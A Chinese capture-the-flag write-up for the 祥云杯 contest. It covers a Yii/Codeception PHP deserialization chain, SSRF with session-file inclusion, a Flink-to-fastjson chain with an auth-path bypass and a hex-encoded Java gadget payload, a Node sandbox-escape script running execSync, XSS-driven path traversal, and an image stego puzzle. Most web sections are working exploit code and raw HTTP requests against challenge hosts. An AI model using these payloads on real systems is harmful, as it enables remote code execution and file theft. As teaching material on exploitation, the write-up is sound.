祥云杯wp

ezyii

在网上找到利用链子生成payload

<?php
namespace Codeception\Extension{
    use Faker\DefaultGenerator;
    use GuzzleHttp\Psr7\AppendStream;
    class  RunProcess{
        protected $output;
        private $processes = [];
        public function __construct(){
            $this->processes[]=new DefaultGenerator(new AppendStream());
            $this->output=new DefaultGenerator('jiang');
        }
    }
    echo base64_encode(serialize(new RunProcess()));
}

namespace Faker{
    class DefaultGenerator
{
    protected $default;

    public function __construct($default = null)
    {
        $this->default = $default;
}
}
}
namespace GuzzleHttp\Psr7{
    use Faker\DefaultGenerator;
    final class AppendStream{
        private $streams = [];
        private $seekable = true;
        public function __construct(){
            $this->streams[]=new CachingStream();
        }
    }
    final class CachingStream{
        private $remoteStream;
        public function __construct(){
            $this->remoteStream=new DefaultGenerator(false);
            $this->stream=new  PumpStream();
        }
    }
    final class PumpStream{
        private $source;
        private $size=-10;
        private $buffer;
        public function __construct(){
            $this->buffer=new DefaultGenerator('j');
            include("closure/autoload.php");
            $a = function(){system('cat /flag.txt');};
            $a = \Opis\Closure\serialize($a);
            $b = unserialize($a);
            $this->source=$b;
        }
    }
}

安全检测

ssrf + lfi session_upload

在输入框发现ssrf漏洞，然后扫描，
http://127.0.0.1/admin/
发现目录遍历
http://127.0.0.1/admin/include123.php
读取到源码,拿到源码

POST /check2.php HTTP/1.1
Host: eci-2zegdponynarc1kdp372.cloudeci1.ichunqiu.com
Content-Length: 90
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://eci-2zegdponynarc1kdp372.cloudeci1.ichunqiu.com
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://eci-2zegdponynarc1kdp372.cloudeci1.ichunqiu.com/index.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=bbb
Connection: close

url1=http%3A%2F%2F127.0.0.1%2Fadmin%2Finclude123.php%3Fu%3D%3C%3F%3Dphpinfo%28%29%3B%3F%3E

写session,包含session

http://127.0.0.1/admin/include123.php?u=/tmp/sess_bbb

POST /check2.php HTTP/1.1
Host: eci-2zegdponynarc1kdp372.cloudeci1.ichunqiu.com
Content-Length: 125
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://eci-2zegdponynarc1kdp372.cloudeci1.ichunqiu.com
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://eci-2zegdponynarc1kdp372.cloudeci1.ichunqiu.com/index.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=bbb
Connection: close

url1=http%3A%2F%2F127.0.0.1%2Fadmin%2Finclude123.php%3Fu%3D%3C%3F%3Dvar_dump(scandir(%27%2F..%2F..%2F..%2F..%2F%27))%3B%3F%3E

scandir绕过滤列出目录文件

POST /check2.php HTTP/1.1
Host: eci-2zegdponynarc1kdp372.cloudeci1.ichunqiu.com
Content-Length: 122
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://eci-2zegdponynarc1kdp372.cloudeci1.ichunqiu.com
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://eci-2zegdponynarc1kdp372.cloudeci1.ichunqiu.com/index.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=bbb
Connection: close

url1=http%3A%2F%2F127.0.0.1%2Fadmin%2Finclude123.php%3Fu%3D%3C%3F%3Dsystem(%22%2F%3F%3F%3F%3F%3F%3F%3F.%3F%3F%22)%3B%3F%3E

最后特殊符号绕关键字即可

层层穿透

Apache Flink rce
https://blog.csdn.net/weixin_45492773/article/details/105975768

使用msf生成jar包，监听

反弹，使用Venom内网穿透

扫描C段8080，80端口

解压官方jar包
在MyRealm.java文件拿到密码123456

/doLogin 可以直接登陆

然后/admin/test接收调用接收json数据

平常路：
post访问/doLogin
username=admin&password=123456

然后构造恶意数据包
/admin/test

这里不走平常路
POST /doLogin.;/../admin/test
这个样子把鉴权也绕了，因为fastjson1.2.24存在漏洞
不过需要绕过下面函数

public boolean waf(String payload) {
    if (payload.contains("\\x")) {
        return true;
    } else if (payload.contains("\\u")) {
        return true;
    } else {
        String[] var2 = this.blacklist;
        int var3 = var2.length;

        for(int var4 = 0; var4 < var3; ++var4) {
            String key = var2[var4];
            if (payload.contains(key)) {
                return true;
            }
        }

        return false;
    }
}

构造绕过，最终 getflag

POST /doLogin.;/../admin/test HTTP/1.1
Host: 10.10.1.11:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/531.36 (KHTML, like Gecko) Chrome/91.0.4515.131 Safari/537.36
Connection: close
cmd: cat /flag
Content-Length: 29460
Content-Type: application/json;charset=UTF-8

{"payload":{"e":{"@type":"java.lang.Class","val":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"},"f":{"@type":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource","userOverridesAsString":"HexAsciiSerializedMap:ACED0005737200116A6176612E7574696C2E48617368536574BA44859596B8B7340300007870770C000000103F400000000000027372002A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6D61702E4C617A794D61706EE594829E7910940300014C0007666163746F727974002C4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E496E766F6B65725472616E73666F726D657287E8FF6B7B7CCE380200035B000569417267737400135B4C6A6176612F6C616E672F4F626A6563743B4C000B694D6574686F644E616D657400124C6A6176612F6C616E672F537472696E673B5B000B69506172616D54797065737400125B4C6A6176612F6C616E672F436C6173733B7870707400136765744F757470757450726F7065727469657370737200116A6176612E7574696C2E486173684D61700507DAC1C31660D103000246000A6C6F6164466163746F724900097468726573686F6C6478703F4000000000000C770800000010000000017371007E000B3F4000000000000C770800000010000000017372003A636F6D2E73756E2E6F72672E6170616368652E78616C616E2E696E7465726E616C2E78736C74632E747261782E54656D706C61746573496D706C09574FC16EACAB3303000649000D5F696E64656E744E756D62657249000E5F7472616E736C6574496E6465785B000A5F62797465636F6465737400035B5B425B00065F636C61737371007E00084C00055F6E616D6571007E00074C00115F6F757470757450726F706572746965737400164C6A6176612F7574696C2F50726F706572746965733B787000000000FFFFFFFF757200035B5B424BFD19156767DB37020000787000000001757200025B42ACF317F8060854E0020000787000000DCFCAFEBABE0000003400CD0A0014005F090033006009003300610700620A0004005F09003300630A006400650A003300660A000400670A000400680A0033006907006A0A0014006B0A0012006C08006D0B000C006E08006F0700700A001200710700720A007300740700750700760700770800780A0079007A0A0018007B08007C0A0018007D08007E08007F0800800B001600810700820A008300840A008300850A008600870A002200880800890A0022008A0A0022008B0A008C008D0A008C008E0A0012008F0A009000910A009000920A001200930A003300940700950A00120096070097010001680100134C6A6176612F7574696C2F486173685365743B0100095369676E61747572650100274C6A6176612F7574696C2F486173685365743C4C6A6176612F6C616E672F4F626A6563743B3E3B010001720100274C6A617661782F736572766C65742F687474702F48747470536572766C6574526571756573743B010001700100284C6A617661782F736572766C65742F687474702F48747470536572766C6574526573706F6E73653B0100063C696E69743E010003282956010004436F646501000F4C696E654E756D6265725461626C650100124C6F63616C5661726961626C655461626C65010004746869730100204C79736F73657269616C2F7061796C6F6164732F436F6D6D6F6E4563686F313B01000169010015284C6A6176612F6C616E672F4F626A6563743B295A0100036F626A0100124C6A6176612F6C616E672F4F626A6563743B01000D537461636B4D61705461626C65010016284C6A6176612F6C616E672F4F626A6563743B492956010001650100154C6A6176612F6C616E672F457863657074696F6E3B010008636F6D6D616E64730100135B4C6A6176612F6C616E672F537472696E673B0100016F01000564657074680100014907007607004C070072010001460100017101000D6465636C617265644669656C640100194C6A6176612F6C616E672F7265666C6563742F4669656C643B01000573746172740100016E0100114C6A6176612F6C616E672F436C6173733B07007007009807009901000A536F7572636546696C65010010436F6D6D6F6E4563686F312E6A6176610C003C003D0C003800390C003A003B0100116A6176612F7574696C2F486173685365740C0034003507009A0C009B009C0C005300480C009D00440C009E00440C004300440100256A617661782F736572766C65742F687474702F48747470536572766C6574526571756573740C009F00A00C00A100A2010003636D640C00A300A401000B676574526573706F6E736501000F6A6176612F6C616E672F436C6173730C00A500A60100106A6176612F6C616E672F4F626A6563740700A70C00A800A90100266A617661782F736572766C65742F687474702F48747470536572766C6574526573706F6E73650100136A6176612F6C616E672F457863657074696F6E0100106A6176612F6C616E672F537472696E670100076F732E6E616D650700AA0C00AB00A40C00AC00AD01000357494E0C009D00AE0100022F630100072F62696E2F73680100022D630C00AF00B00100116A6176612F7574696C2F5363616E6E65720700B10C00B200B30C00B400B50700B60C00B700B80C003C00B90100025C410C00BA00BB0C00BC00AD0700BD0C00BE00BF0C00C0003D0C00C100C20700990C00C300C40C00C500C60C00C700C80C003A00480100135B4C6A6176612F6C616E672F4F626A6563743B0C00C900A001001E79736F73657269616C2F7061796C6F6164732F436F6D6D6F6E4563686F3101001A5B4C6A6176612F6C616E672F7265666C6563742F4669656C643B0100176A6176612F6C616E672F7265666C6563742F4669656C640100106A6176612F6C616E672F54687265616401000D63757272656E7454687265616401001428294C6A6176612F6C616E672F5468726561643B010008636F6E7461696E73010003616464010008676574436C61737301001328294C6A6176612F6C616E672F436C6173733B010010697341737369676E61626C6546726F6D010014284C6A6176612F6C616E672F436C6173733B295A010009676574486561646572010026284C6A6176612F6C616E672F537472696E673B294C6A6176612F6C616E672F537472696E673B0100096765744D6574686F64010040284C6A6176612F6C616E672F537472696E673B5B4C6A6176612F6C616E672F436C6173733B294C6A6176612F6C616E672F7265666C6563742F4D6574686F643B0100186A6176612F6C616E672F7265666C6563742F4D6574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}

crawler_z

下载源码

查看profile路由

这里写着正则过滤，/bucket触发需要绕过正则

构造恶意js，getflag如下

<script>process = this.constructor.constructor.constructor('return process')();a = process.mainModule.require("child_process").execSync("/readflag").toString();document.write(a);document.write(this.constructor.constructor.constructor('return process')().toString());</script>

http://154.202.59.50:8000/1.html.oss-cn-beijing.ichunqiu.com

输入我们vps地址，这里提示这个需要管理员审核认证

/user/verify?token=xxxxxxxx
认证后访问/user/bucket触发payload

Secrets_Of_Admin

获取到密码
登陆,接着有个输入框输入content参数值，对代码审计

这里过滤很多字符，但是可以使用数组传值绕过cotnent[]=123,这里会插入到模版保存为pdf,构造payload,因为这里需要请求到/api/files路由，此路由限制了127.0.0.1访问

我们构造payload插入模版

<script>window.location.href = "http://127.0.0.1:8888/api/files?username=admin%26filename=../../../../../../etc/passwd%26checksum=1";</script>

然后访问/api/files/1触发

最后读flag

content[]=<script>window.location.href = "http://127.0.0.1:8888/api/files?username=admin%26filename=../files/flag%26checksum=1";</script>

Misc

鸣雏恋

下载下来文件之后，发现是个word
直接解压，在_rels看到key.txt和一个加密的love.zip
接下来吧key.txt在kali中打开，发现零宽隐写，
https://330k.github.io/misc_tools/unicode_steganography.html

用这个网站拿到密码
解压之后，是一堆图片，但是看见只有雏田和鸣人，所以考虑二进制，雏田0鸣人1
根据宽高找到规律，写个脚本

from PIL import Image

for i in range(0,129488):
    url="D:\chrome_download\鸣雏恋_2dad763070b79f50c4635a906359909a\鸣雏恋\_rels\love\out\\{}.png"
    im = Image.open(url.format(i))#返回一个Image对象
    if im.size[1]-im.size[0] == 3:
        print("0",end="")
    if im.size[1]-im.size[0] == 2:
        print("1",end="")

得到

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接下来用工具，转成8个一组的字节

复制到解密工具中

看到png图片，内容base64加密，解码base64保存为图片，得到flag

flag{57dd74fb21bb1aee50f19421bf836f23}